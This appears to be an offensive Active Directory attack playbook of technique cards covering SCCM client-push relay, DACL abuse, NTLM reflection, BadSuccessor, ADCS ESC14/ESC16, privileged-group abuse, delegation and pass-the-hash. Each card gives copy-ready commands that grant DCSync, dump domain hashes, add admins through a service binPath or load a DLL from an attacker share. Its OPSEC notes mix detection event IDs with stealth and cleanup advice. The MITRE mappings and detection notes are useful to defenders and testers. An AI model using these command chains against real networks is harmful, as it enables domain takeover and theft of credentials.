If automatic client push is enabled, any low-priv user can register a rogue device pointing at an attacker host and send a heartbeat DDR, causing the primary site server to push the agent, authenticating to you with the client-push account and/or the site-server machine account (ELEVATE-2). Relay that to SMB on another site system for local admin, or to LDAP(S) on a DC for Shadow Credentials / RBCD.

Requires

  • Any valid domain account
  • Automatic client push enabled + NTLM fallback
  • Automatic site assignment enabled
  • Relay target without SMB signing / EPA

Example commands

# Trigger client push to coerce the site server
SharpSCCM.exe invoke client-push -sms <SMS_PROVIDER> -sc <SITE_CODE> -t <RELAY_IP>
# Relay to SMB on another site system (local admin)
impacket-ntlmrelayx -smb2support -ts -t <RELAY_TARGET_IP> -i
# Or relay to LDAPS on a DC (Shadow Creds / RBCD)
impacket-ntlmrelayx -t ldaps://<DC_IP> -smb2support --no-smb-server -i

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: Registering a rogue client and triggering a push leaves SCCM records and install attempts. Its prerequisites (auto push + NTLM fallback + automatic site assignment) are environment-dependent: NTLM fallback has been default-off on new-install sites since ConfigMgr 2207, so legacy/upgraded sites that keep the old value are the realistic target.

WriteOwner

Set yourself as owner of an object, then grant full rights.

WriteOwner over a target lets you set its owner to a principal you control. The owner implicitly holds WriteDacl (by default), so once you own it you grant yourself GenericAll (or DCSync on the domain object) and take it over.

Requires

  • WriteOwner over the target object

Example commands

# Set owner (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 set owner <target> <attacker>
# Set owner (Impacket)
owneredit.py -action write -new-owner 'attacker' -target 'victim' domain.local/user:pass

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: The owner change and subsequent DACL write are auditable (4662/5136). Restore the original owner and remove added ACEs after use.

WriteDacl

Rewrite a DACL → grant yourself any right on the object.

WriteDacl lets you modify a target object's DACL directly. Add an ACE granting yourself GenericAll over a user/computer (then take it over), or, when the target is the domain object, grant the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights that enable DCSync. One ACL write can convert a low-priv foothold into the ability to replicate every secret in the domain.

Requires

  • WriteDacl over the target object (an object, or the domain head for DCSync)

Example commands

# Grant DCSync via WriteDacl (bloodyAD)
bloodyAD --host dc01 -d domain.local -u user -p pass add dcsync attacker
# Grant DCSync rights (Impacket)
dacledit.py -action write -rights DCSync -principal attacker -target-dn 'DC=domain,DC=local' domain.local/user:pass -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: DACL modifications generate directory-change events (4662/5136); granting DS-Replication rights is high-fidelity. Remove the added ACE immediately after use.

MachineAccountQuota Abuse

Default MAQ=10 lets any user create the computer account RBCD / Shadow Creds / noPac need.

By default any authenticated user can create up to 10 computer accounts (cumulative per creator, tracked via mS-DS-CreatorSID, so deleting accounts does not necessarily free quota) via ms-DS-MachineAccountQuota = 10. Note MAQ > 0 is necessary but not sufficient: the 'Add workstations to domain' user right (SeMachineAccountPrivilege) separately gates creation and can be revoked in Group Policy even when MAQ is non-zero. An attacker creates a fully-controlled machine account to use as the attacker-owned principal required by several primitives: the delegate in RBCD, the principal in Shadow Credentials, and the account in the noPac / sAMAccountName-spoofing chain.

Requires

  • Any authenticated domain account
  • ms-DS-MachineAccountQuota > 0 (default 10)

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add computer <NEWPC> <ComputerPass123!>
# Check MAQ
netexec ldap 10.0.0.1 -u user -p 'Password1' -M maq
# Create a computer account
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Pwn1234!' -dc-host dc01.corp.local corp.local/user:'Password1'

Tools

MITRE ATT&CK: T1136.002

References

OPSEC / detection: Computer-account creation raises event 4741 and leaves a new object in AD; some environments set MAQ=0. The follow-on RBCD/shadow-cred LDAP writes are the higher-signal actions.

Logon Script DACL Abuse

Write scriptPath / msTSInitialProgram on a user → code exec as them at next logon.

GenericAll/GenericWrite over a user lets an attacker populate scriptPath (classic logon script) or msTSInitialProgram with a UNC path to a payload. scriptPath runs at any interactive/network domain logon. msTSInitialProgram is a Terminal Services attribute: it fires only when the victim starts an RDS/RDP session on a Terminal Server (and needs msTSWorkDirectory set), so it is unreliable and rarely practical, never triggering against a target who does not RDP to an RDS host. Useful against high-value accounts when a realistic trigger exists.

Requires

  • GenericAll/GenericWrite over the target user
  • The victim logs on after the change

Example commands

# Set scriptPath via bloodyAD
bloodyAD --host dc01.corp.local -d corp.local -u user -p 'Password1' set object victimuser scriptPath -v '\\10.0.0.66\share\run.exe'
# Set scriptPath via PowerView
Set-DomainObject -Identity victimuser -Set @{'scriptpath'='\\10.0.0.66\share\run.exe'}

Tools

MITRE ATT&CK: T1037.003

References

OPSEC / detection: Relies on the victim actually logging on (slow/uncertain) and the payload share being reachable; modifying scriptPath is visible in AD. Lower-noise ACL paths (targeted Kerberoast, shadow creds) are usually preferred.

NTLM Reflection (CVE-2025-33073)

Coerce a host to a marshalled DNS name so its SYSTEM auth reflects back to its own SMB.

CVE-2025-33073: Windows blocks the classic reflection (an SMB client authenticating back to the host that coerced it), but Synacktiv found the check is bypassed when the victim is coerced to a name that carries MARSHALLED target info. Add an ADIDNS record whose name ends in the marshalled blob (e.g. `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`; the prefix can be the victim's short hostname or 'localhost', which works against any vulnerable host once the blob is stripped) pointing at you; coerce the victim to it, and LSASS strips the marshalled blob (lsasrv!LsapCheckMarshalledTargetInfo) so the SMB client matches only the bare hostname and wrongly concludes the connection is local, so LSASS (SYSTEM) authenticates to your relay, which bounces it straight back to the victim's own SMB. An unprivileged domain user gets SYSTEM on any host not enforcing SMB signing. Patched Jun 2025 (the patch adds a CredUnmarshalTargetInfo call in mrxsmb!SmbCeCreateSrvCall that refuses the connection once a marshalled target name is detected); enforcing SMB signing also mitigates.

Requires

  • A coercible target without enforced SMB signing (unpatched, pre Jun-2025)

Example commands

# Check if a host is vulnerable (NetExec)
nxc smb <host> -u user -p pass -M ntlm_reflection
# 1. Add the marshalled-name ADIDNS record (the bypass)
python3 dnstool.py -u 'DOMAIN\user' -p 'pass' -a add \
  -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d <ATTACKER_IP> <DC_IP>
# 2. Relay the reflected auth to the victim itself
ntlmrelayx.py -t <VICTIM_IP> -smb2support
# 3. Coerce the victim to the marshalled name (its SYSTEM token reflects)
coercer coerce -u user -p pass -d domain.local -t <VICTIM_IP> -l 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: Coercion + relay traffic is detectable; SMB signing or the 2025 patch fully blocks it. Self-reflection avoids the cross-host relay signature.

BadSuccessor (dMSA Abuse)

Abuse delegated Managed Service Accounts on Server 2025 to inherit a target principal's SIDs.

Windows Server 2025 adds delegated Managed Service Accounts (dMSAs) with a migration mechanism. With CreateChild on any OU (or write over a dMSA), an attacker points msDS-ManagedAccountPrecededByLink at a target (e.g. a Domain Admin) and flips msDS-DelegatedMSAState. The KDC then mints the dMSA a PAC carrying the target's SIDs, succeeding the victim without touching their group membership or password. A single Server 2025 DC makes it viable (CVE-2025-53779). Pre-Aug-2025-patch, a one-sided link sufficed; the August 2025 update (CVE-2025-53779) requires a mutual migration pairing, so residual variants persist but the trivial one-sided path is closed on patched DCs.

Affects: Vulnerable component is the Windows Server 2025 DC (dMSA/KDC codepath); one 2025 DC in the forest is enough. Impact is domain-wide: any principal, including Domain Admins on any OS, can be inherited.

Requires

  • CreateChild on an OU, or write over a dMSA object
  • At least one Windows Server 2025 Domain Controller

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add badSuccessor <dmsa-name>
# Check the domain for exploitable dMSA OUs
netexec ldap dc01.corp.local -u user -p 'Password1' -M badsuccessor
# Create the dMSA and link it to a target whose SIDs it inherits
bloodyAD --host dc01.corp.local -d corp.local -u user -p 'Password1' add badSuccessor evilDMSA --ou 'OU=Eval,DC=corp,DC=local' -t 'CN=Administrator,CN=Users,DC=corp,DC=local'

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: New dMSA objects and changes to msDS-ManagedAccountPrecededByLink / msDS-DelegatedMSAState are high-signal once detections exist. The new dMSA fires object-creation (5137) as the most reliable primary signal, with attribute writes as 5136; 4662 depends on object-access (SACL) auditing that is off by default. Stealthy where dMSA auditing is absent.

SMBGhost (CVE-2020-0796)

Integer overflow in SMBv3.1.1 compression → kernel RCE / local SYSTEM.

CVE-2020-0796 ('SMBGhost' / 'CoronaBlue') is a buffer overflow in the SMBv3.1.1 compression handler on Windows 10 / Server 1903-1909. A crafted compressed packet corrupts kernel memory for remote SYSTEM code execution; it is also a reliable local privilege escalation to SYSTEM. A peer of EternalBlue/ZeroLogon for unpatched legacy hosts.

Affects: Windows 10 / Server 1903-1909 only; the SMBv3.1.1 compression handler shipped in build 1903 and the bug was patched out of later builds.

Requires

  • For the scanner / remote RCE: network access to TCP/445 on an unpatched Win10 / Server 1903-1909 host
  • For the LPE variant: local code execution at medium integrity on the host, plus an info leak (e.g. NtQuerySystemInformation) to locate the token

Example commands

# Check a subnet for SMBGhost
netexec smb 10.0.0.0/24 -M smbghost

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: The public remote RCE is BSOD-prone and unreliable (frequent kernel crashes on failure); the LPE variant is the comparatively stable path. Either way the kernel exploit is loud, while the vuln check itself is a benign protocol negotiation. Patched everywhere current, so legacy-host only.

MSSQL Impersonation Privesc

Abuse EXECUTE AS / IMPERSONATE grants to climb from a low-priv login to sysadmin (sa).

SQL Server logins are often granted IMPERSONATE on higher-privileged principals (or db-chaining lets you EXECUTE AS another user). Enumerate who you can impersonate; if a path reaches a sysadmin, assume that context and you own the instance; then xp_cmdshell for OS command execution as the SQL Server service account (often, but not always, a high-privilege or Local System account), or pivot via linked servers.

Requires

  • A valid SQL login (SQL or Windows auth) with IMPERSONATE / EXECUTE AS grants

Example commands

# Enumerate impersonation privesc paths
netexec mssql 10.0.0.30 -u user -p 'Password1' -M mssql_priv
# Escalate to sysadmin via impersonation
netexec mssql 10.0.0.30 -u user -p 'Password1' -M mssql_priv -o ACTION=privesc

Tools

MITRE ATT&CK: T1078

References

OPSEC / detection: Impersonation and xp_cmdshell enablement are auditable SQL events; OS command execution via xp_cmdshell (as the SQL Server service account) is the loud part. Note that mssql_priv ACTION=privesc does not just switch context transiently: it adds your login to the sysadmin fixed server role, a persistent server-level grant (visible in sys.server_role_members / audit, surviving the session). Roll it back with ACTION=rollback; that stray grant, not just the transient impersonation, is the durable IOC.

ADCS ESC16 (CA Security Extension Disabled)

SID security extension disabled CA-wide → a cert maps to a victim by UPN alone: set your account UPN to a target, enroll, authenticate as them.

ESC16 is a CA-wide state where szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) is on the CA's DisableExtensionList, so every issued certificate carries no SID and the DC can only map it to an account by UPN. Like ESC9, an attacker who can write the userPrincipalName of an account they control sets it to a privileged target (e.g. administrator), enrolls an ordinary client-auth cert, reverts the UPN, then authenticates via PKINIT: the DC maps the cert to the target by UPN and returns its TGT / NT hash. This UPN swap only works while the DCs run StrongCertificateBindingEnforcement mode 0 (disabled) or 1 (compatibility), where they fall back to weak UPN mapping for a cert with no SID extension. A mode 2 (Full Enforcement) DC denies auth for any cert lacking the SID extension, so ESC16 does not bypass it; note KB5014754 moves unconfigured DCs to mode 2 by Feb 2025 and removes the compatibility fallback by Sept 2025. This is NOT the ESC1 'arbitrary SAN' trick: the default User template forbids requester-supplied subjects, so the bypass is the implicit UPN mapping. Setting the CA flag needs ManageCA (often reached via ESC7).

Requires

  • ManageCA on the CA to set DisableExtensionList (or the CA already in that state)
  • Write access to userPrincipalName on an account you control

Example commands

# Set the CA state (needs ManageCA), then restart the CA
certutil -config "DC01.corp.local\CORP-CA" -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2
net stop certsvc && net start certsvc
# Point a controlled account's UPN at the target
certipy-ad account -u svc_infra -p 'PASS' -dc-ip 10.0.0.1 -user svc_infra -upn administrator update
# Enroll an ordinary client-auth cert as that account, then revert the UPN
certipy-ad req -u svc_infra -p 'PASS' -dc-ip 10.0.0.1 -target DC01.corp.local -ca CORP-CA -template User
certipy-ad account -u svc_infra -p 'PASS' -dc-ip 10.0.0.1 -user svc_infra -upn svc_infra@corp.local update
# Authenticate as the target via PKINIT → TGT + NT hash
certipy-ad auth -pfx administrator.pfx -username administrator -domain corp.local -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Toggling DisableExtensionList restarts the CA service (logged) and affects ALL future certificates issued by this CA; the UPN edits and the cert request + PKINIT auth raise 5136/4886/4887/4768. Revert the UPN and the CA flag after use.

category Privileged Groups & Roles

Each privileged group or admin role opens a route to DA.

Each privileged group or admin role carries a distinct escalation: built-in AD groups like Account Operators, Backup Operators, Server Operators, and DnsAdmins, plus application-admin roles such as SCCM Full Administrator. Membership in any of these is often a direct route to Domain Admin or to SYSTEM on a domain controller. Cert Publishers is the exception: membership alone is not a route to DA, it only grants write over the userCertificate attribute and is dangerous only when paired with an AD CS misconfiguration such as write access to NTAuthCertificates.

References

SCCM Administrators

The SCCM Full / Application Administrator role runs code as SYSTEM estate-wide.

SCCM's own RBAC roles (Full Administrator, Application Administrator) are not AD groups. Holding one gives control of the deployment platform: push an application or script to any managed client and run it as SYSTEM. That amounts to domain-wide code execution. You reach the role by being granted it, or by taking over the SCCM hierarchy through NTLM relay / client-push.

Requires

  • SCCM Full Administrator or Application Administrator role

Tools

MITRE ATT&CK: T1072

References

Cert Publishers

Write userCertificate on principals; a foothold toward AD CS abuse (NTAuth write is a non-default misconfig).

By default the Cert Publishers group only has Write over the userCertificate attribute of user and computer objects (plus control of the CA configuration containers). That gives a certificate-mapping and persistence primitive, well short of Domain-Admin-equivalent, and it does NOT include write over NTAuthCertificates. Where that non-default misconfiguration is present, membership becomes far more dangerous: publish a rogue CA certificate into the NTAuth store and forge client-authentication certs for any account. NTAuth write is a misconfiguration to check for, not an inherent right of the group.

Requires

  • Membership in Cert Publishers

Example commands

# Confirm membership & enumerate the PKI
Get-ADGroupMember 'Cert Publishers'; certipy find -u user@corp.local -p PASS -dc-ip 10.0.0.1 -stdout

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Writes to the NTAuth/CA store are auditable directory changes; the downstream certificate enrollment + PKINIT logon are the higher-signal events.

Backup Operators

SeBackupPrivilege reads any file, so copy the DC NTDS.dit + SYSTEM hive for offline hash extraction.

Backup Operators hold SeBackupPrivilege, which bypasses file DACLs, but the privilege is DISABLED in the token by default: enable it in an elevated (high-integrity) session before robocopy /b or reg save will read locked/protected files. Remote access is a separate precondition from the privilege: Backup Operators get 'Allow log on locally' on DCs, but interactive/WinRM access is not automatic (WinRM needs Remote Management Users membership); the nxc route here uses SMB, no interactive logon. On a Domain Controller, snapshot or back up the locked NTDS.dit and SYSTEM hive, then parse them offline: a DCSync-equivalent dump of every domain secret without replication rights.

Requires

  • Membership in Backup Operators
  • An elevated session so SeBackupPrivilege can be enabled
  • Remote reach to a DC (SMB for the nxc route; WinRM needs Remote Management Users)

Example commands

# Back up NTDS.dit + SYSTEM via a shadow copy (take the HarddiskVolumeShadowCopyN number from the diskshadow output; it is not always 1)
diskshadow /s script.txt
robocopy /b \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS . NTDS.dit
reg save HKLM\SYSTEM system.hive
# Parse the hives offline
secretsdump.py -ntds NTDS.dit -system system.hive LOCAL
# Dump the DC's SAM/SYSTEM/SECURITY hives + machine-account hash via SeBackupPrivilege (NetExec, no admin needed)
nxc smb <dc> -u user -p pass -M backup_operator
# Then DCSync with the recovered machine-account hash to reach domain secrets
secretsdump.py 'CORP/DC01$'@dc01.corp.local -hashes :<machine-account-nthash>

Tools

MITRE ATT&CK: T1003.003

References

OPSEC / detection: Shadow-copy creation and locked-file reads on a DC are loud (VSS / 4688); quieter than touching LSASS but still monitored.

Server Operators

Reconfigure a DC service binPath to run an attacker command as SYSTEM on the Domain Controller.

Server Operators can manage services on Domain Controllers. Repoint an existing DC service to an attacker command and restart it. The Service Control Manager runs it as LocalSystem on the DC, which is full domain compromise.

Requires

  • Membership in Server Operators

Example commands

# Reconfigure a DC service to add an admin (SYSTEM)
sc \\dc01 config <service> binPath= "C:\Windows\System32\cmd.exe /c net localgroup administrators corp\attacker /add"
sc \\dc01 stop <service> & sc \\dc01 start <service>

Tools

MITRE ATT&CK: T1543.003

References

OPSEC / detection: Reconfiguring an existing DC service dodges the loud new-service events (7045/4697 do NOT fire here), which makes it stealthier than installing a new service. What actually fires: 7040 (config/start-type change), Sysmon 13 on HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath, stop/start noise (7034/7036), and 4670/object-access only if a SACL is set on the service object. Revert the service config.

DnsAdmins

Make the DNS service (usually on a DC) load an arbitrary DLL as SYSTEM.

DnsAdmins can set the ServerLevelPluginDll registry value over RPC; on the next DNS service restart the (DC-hosted) DNS server loads that attacker DLL as LocalSystem, giving code execution as SYSTEM on the Domain Controller.

Requires

  • Membership in DnsAdmins
  • Ability to restart the DNS service (or wait for a restart)

Example commands

# Point the DNS service at an attacker DLL
dnscmd dc01 /config /serverlevelplugindll \\10.0.0.66\share\evil.dll
sc \\dc01 stop dns & sc \\dc01 start dns

Tools

MITRE ATT&CK: T1574.001

References

OPSEC / detection: ServerLevelPluginDll changes + a DNS service restart on a DC are high-signal. Clean up the registry value afterwards.

Schema Admins

Alter the schema default security descriptor so new objects inherit an attacker ACE domain-wide.

Schema Admins can modify class schema, including the defaultSecurityDescriptor applied to every newly-created object of a class. Adding an attacker ACE (e.g. GenericAll) stamps only onto FUTURE objects of that class at creation time; it never lands on existing objects such as the domain root. So this does not grant DCSync directly: the domain-head DACL is never re-created and never inherits the schema default. The path is indirect and patient: control a resulting privileged principal, then as a separate step edit the domain naming-context head's DACL to grant both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All before you can DCSync.

Requires

  • Membership in Schema Admins
  • Schema writes must target the Schema Master FSMO role holder

Example commands

# Append an ACE to a class default SD (illustrative)
Set-ADObject -Identity 'CN=User,CN=Schema,CN=Configuration,DC=corp,DC=local' -Replace @{defaultSecurityDescriptor='<existing SDDL>(A;;CCDCLCSWRPWPLOCRRCWDWO;;;<attacker-SID>)'}

Tools

MITRE ATT&CK: T1484

References

OPSEC / detection: Schema modifications are rare and heavily audited (replicated forest-wide). Effects are delayed (only new objects), so this is a patient persistence/escalation primitive.

Account Operators

Reset passwords and edit most non-protected users & groups, feeding straight into ACL abuse.

Account Operators can create/modify most users and groups that are not in a protected (AdminSDHolder) group: reset passwords, add members, set SPNs. That control over a wide swathe of principals enables the DACL/ACL abuse techniques directly (targeted Kerberoast, force-change-password, add-to-group).

Requires

  • Membership in Account Operators
  • Targets not protected by AdminSDHolder

Example commands

# Reset a non-protected user / add to a group
Set-ADAccountPassword -Identity victim -Reset -NewPassword (ConvertTo-SecureString 'Newp@ss1' -AsPlainText -Force)
net group "Some Group" attacker /add /domain

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Password resets (4724) and group changes (4728/4732) are auditable; protected groups (Domain/Enterprise Admins, etc.) are out of reach by design.

ADCS ESC14 (Weak Explicit Cert Mapping)

Abuse altSecurityIdentities explicit mappings to impersonate a privileged account.

ESC14 abuses explicit certificate-to-account mappings in the altSecurityIdentities attribute, which override the KDC's implicit UPN/SID mapping. With write rights over a target's altSecurityIdentities, add a STRONG explicit mapping (X509IssuerSerialNumber) that references a certificate you can enroll, then PKINIT as the target. A strong mapping is honored even under Full StrongCertificateBindingEnforcement (the 2022 hardening), so it survives that hardening; the WEAK mapping types (X509SubjectOnly, X509IssuerSubject, X509RFC822) are the ones enforcement blocks, so they only work where enforcement is below Full. A variant abuses a pre-existing weak mapping by setting a victim's mail/cn/dNSHostName to match. altSecurityIdentities is an ordinary directory attribute, written over LDAP/PowerShell, not by Certipy.

Requires

  • Write over the target's altSecurityIdentities (or a pre-existing weak mapping + write over a victim's mail/cn/dNSHostName)
  • Enrollment rights on a client-auth template

Example commands

# Enroll a client-auth cert as a controlled account
certipy-ad req -u user@corp.local -p PASS -dc-ip 10.0.0.1 -ca CORP-CA -template User
# Write a STRONG IssuerSerialNumber mapping on the target (issuer DN reversed: root DC first, CN last; serial byte-reversed)
Set-ADUser TARGET -Replace @{'altSecurityIdentities'='X509:<I>DC=local,DC=corp,CN=CORP-CA<SR><reversed-serial>'}
# Authenticate as the target with the cert (PKINIT) → TGT + NT hash
certipy-ad auth -pfx user.pfx -username TARGET -domain corp.local -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: altSecurityIdentities / victim-attribute writes are auditable (5136) and should be reverted; a STRONG-mapping write is honored even under Full StrongCertificateBindingEnforcement.

Lateral Movement

Relay to SMB

Code execution on the relayed/owned host.

With a relayed session or admin creds, execute commands over SMB (service creation, WMI, or task scheduler) to land an interactive foothold on a domain-joined host. These mechanisms map to different ATT&CK techniques, so tune detections accordingly: psexec/smbexec create a service (Service Execution, T1569.002) on top of the SMB admin-share session (T1021.002), while wmiexec does not touch SMB admin shares for the exec step at all, it runs Win32_Process.Create over DCOM/WMI under WmiPrvSE.exe (Windows Management Instrumentation, T1047).

Requires

  • Local admin on the target (relayed or owned)

Example commands

# Semi-interactive shell over SMB (password or -hashes for PtH)
smbexec.py -hashes :<NTHASH> DOMAIN/user@10.0.0.20

Tools

MITRE ATT&CK: T1021.002

References

OPSEC / detection: psexec and smbexec both create a Windows service (Event ID 7045). smbexec spawns one per command, so it is at least as loud on that axis (psexec additionally drops a PSEXESVC binary on ADMIN$). Only wmiexec (WMI Win32_Process.Create, no service) is genuinely quieter. Prefer fileless execution.

Pass-the-Hash

Authenticate with the NT hash, no cracking.

NTLM authentication only needs the hash, not the password. Reuse a harvested local-admin or domain NT hash to authenticate to other hosts and pivot.

Requires

  • An NT hash
  • NTLM authentication permitted

Example commands

# Spray a LOCAL admin hash across hosts (--local-auth)
nxc smb hosts.txt -u Administrator -H <NTHASH> --local-auth
# Pass a DOMAIN account hash
nxc smb hosts.txt -u jdoe -H <NTHASH> -d domain.local

Tools

MITRE ATT&CK: T1550.002

References

OPSEC / detection: NTLM logons are more visible than Kerberos and stand out from a workstation. Watch for "Logon Type 3" anomalies. Members of the Protected Users group cannot authenticate over NTLM, so pass-the-hash fails against them. Protected Users are also barred from RC4 in Kerberos, and classic overpass-the-hash from an NT hash uses that NT hash as the RC4 key, so an NT-hash-only overpass fails for the same reason. If you hold AES128/256 key material, use pass-the-key/overpass with AES instead. If you only have the NT hash, either remove the account from Protected Users (with the appropriate rights, expecting logon-state delay and directory logging) or choose another credential path.

Service Account Creds

Often over-privileged. Reuse them.

Cracked service accounts frequently have local admin on many servers, or membership in privileged groups. Validate where these creds are admin, then move.

Requires

  • Cracked service-account credentials

Example commands

# Find where the account is local admin
nxc smb hosts.txt -u svc_sql -p 'Summer2024!' | grep Pwn3d

Tools

MITRE ATT&CK: T1078.002

Remote Execution

Pick a transport to run code on another host.

Reuse credentials, an NT hash (PtH), or a ticket (PtT) to run code on another host, hunting a more privileged session or a route to a Domain Controller. Pick the transport by what you hold on the target: local admin gives SYSTEM via service exec (PsExec/SMBExec) or a scheduled task (atexec), while WMI (wmiexec) and DCOM (dcomexec) run code as the calling admin, not SYSTEM; Remote Management Users gives WinRM; Remote Desktop Users gives RDP; a plain login gives an SSH shell or MSSQL query access (OS commands via xp_cmdshell need sysadmin). Remote exec does not always require local admin.

Requires

  • Credentials, an NT hash (PtH), or a Kerberos ticket (PtT)
  • Authorization on the target: local admin, a remote-access group, or a valid service login

Example commands

# Find where your creds are admin, then exec
nxc smb hosts.txt -u svc_sql -p 'Summer2024!' -x "whoami /groups"
# Run a PowerShell command (-X)
nxc smb <host> -u user -p pass -X '$PSVersionTable'
# Hunt logged-on users to find a pivot
nxc smb 10.0.0.0/24 -u user -p pass --loggedon-users

Tools

MITRE ATT&CK: T1021

OPSEC / detection: Each hop generates logon events (4624) keyed to the transport: type 3 for SMB/WMI, type 10 for RDP. Reuse legitimate admin tooling and change windows to blend in; do not spray every host at once.

Foothold on the Target Host

A privileged session on the host you moved to.

A remote-execution transport (PsExec/SMBExec/WMI/DCOM/WinRM/RDP/SSH and friends) lands you an admin or SYSTEM session on the host you moved to. From there you control the host and can loot it.

Requires

  • Admin/SYSTEM code execution on the remote host from a lateral-movement transport

MITRE ATT&CK: T1021

References

Constrained Delegation (S4U2Proxy)

Abuse KCD to impersonate any user to allowed SPNs.

An account configured for constrained delegation (msDS-AllowedToDelegateTo) can use S4U2Self + S4U2Proxy to get a service ticket impersonating an arbitrary user to the allowed SPNs. Arbitrary-user impersonation from just the account key requires protocol transition (the TRUSTED_TO_AUTH_FOR_DELEGATION flag). With Kerberos-only KCD (the flag absent), S4U2Self returns a non-forwardable ticket and S4U2Proxy rejects it, so you need a genuine forwardable TGS for the target, or CVE-2020-17049 (Bronze Bit) to force forwardable. If you hold that account key and protocol transition is set, impersonate Administrator to the target service. The alt-service trick widens the SPN reached. Privilege split: the S4U abuse itself only needs the configured account's key, but *writing* msDS-AllowedToDelegateTo or the TRUSTED_TO_AUTH_FOR_DELEGATION flag requires SeEnableDelegationPrivilege on the DC, held by Domain Admins by default, so the configure commands below are a DA-level setup/persistence step rather than a low-priv escalation. The delegation attribute an ordinary principal can write (when they control the target computer object) is the resource-based one, msDS-AllowedToActOnBehalfOfOtherIdentity; that RBCD write is the domain-user-reachable path.

Requires

  • Control of an account with msDS-AllowedToDelegateTo set
  • That account's hash/key

Example commands

# S4U with Rubeus
Rubeus.exe s4u /user:websvc$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
# S4U with Impacket getST
getST.py -spn cifs/target.domain.local -impersonate Administrator -hashes :<HASH> domain.local/websvc$
# Configure the delegation target (bloodyAD), needs SeEnableDelegationPrivilege (DA)
bloodyAD -u user -p pass -d domain.local --host dc01 set object 'attacker$' msDS-AllowedToDelegateTo -v 'cifs/target.domain.local'
# Enable protocol transition (bloodyAD), needs SeEnableDelegationPrivilege (DA)
bloodyAD -u user -p pass -d domain.local --host dc01 add uac 'attacker$' -f TRUSTED_TO_AUTH_FOR_DELEGATION

Tools

MITRE ATT&CK: T1558

References

OPSEC / detection: S4U2Self/S4U2Proxy TGS requests (4769) for a sensitive impersonated user are detectable. The alt-service SPN-substitution trick (e.g. cifs vs host) expands access beyond the configured SPN.

Resource-Based Constrained Delegation

Write msDS-AllowedToActOnBehalfOfOtherIdentity -> impersonate.

If you can write a target computer msDS-AllowedToActOnBehalfOfOtherIdentity, point it at a machine account you control (default MachineAccountQuota allows 10), then use S4U2Self+S4U2Proxy to impersonate almost any user (except accounts in Protected Users or marked sensitive/not-delegatable, which need a ticket-modification bypass) to that host. A common outcome of a GenericWrite/GenericAll edge over a computer or an LDAP relay. The controlling principal does not actually need an SPN: pairing S4U2self with a User-to-User (U2U) request yields the impersonation ticket even from a controlled user account, and RBCD can be written on the DC's OWN computer object to impersonate Administrator straight to the DC.

Requires

  • Write over the target computer msDS-AllowedToActOnBehalfOfOtherIdentity
  • A principal to delegate from: a machine account you create/control, or (SPN-less variant) any user whose password you can set

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add rbcd <target$> <attacker$>
# Add a controlled machine account
addcomputer.py -computer-name 'evil$' -computer-pass 'Passw0rd!' domain.local/user:pass -dc-ip 10.0.0.1
# Write RBCD on the target computer
rbcd.py -delegate-to 'TARGET$' -delegate-from 'evil$' -action write domain.local/user:pass
# Get an impersonation ticket
getST.py -spn cifs/target.domain.local -impersonate Administrator domain.local/evil$:'Passw0rd!'
# SPN-less variant: delegate FROM a user you control (no machine account). Multi-step dance that temporarily corrupts the user password: set the NT hash to the TGT session key so S4U2self does not fail with KDC_ERR_S_PRINCIPAL_UNKNOWN, then reset it
rbcd.py -delegate-to 'TARGET$' -delegate-from 'user' -action write domain.local/user:pass
getTGT.py domain.local/user:pass   # note the Ticket Session Key from the .ccache
changepasswd.py 'domain.local/user@10.0.0.1' -newhashes :<SESSION_KEY>   # set NT hash = session key
export KRB5CCNAME=user.ccache
getST.py -spn cifs/target.domain.local -impersonate Administrator -self -u2u -k -no-pass domain.local/user
changepasswd.py 'domain.local/user@10.0.0.1' -newhashes :<ORIGINAL_HASH>   # restore the user's hash
# Abuse configured RBCD to impersonate (NetExec)
nxc smb <target> -u 'attacker$' -H <hash> --delegate Administrator

Tools

MITRE ATT&CK: T1134

References

OPSEC / detection: Machine-account creation (4741), the delegation write (5136), and S4U requests (4769) are all logged. Setting MachineAccountQuota to 0 mitigates the account-creation step.

OverPass-the-Hash

Turn an NT hash (or AES key) into a Kerberos TGT.

Instead of NTLM Pass-the-Hash, use a captured NT hash or AES key to request a Kerberos TGT ("pass the key"), then operate over Kerberos. Blends in better than NTLM and enables Pass-the-Ticket.

Requires

  • An NT hash or AES key for the target account

Example commands

# Request a TGT from an NT hash (Rubeus)
Rubeus.exe asktgt /user:Administrator /rc4:<NTHASH> /domain:domain.local /ptt
# Request a TGT from a hash (Impacket)
getTGT.py domain.local/Administrator -hashes :<NTHASH>

Tools

MITRE ATT&CK: T1550.002

References

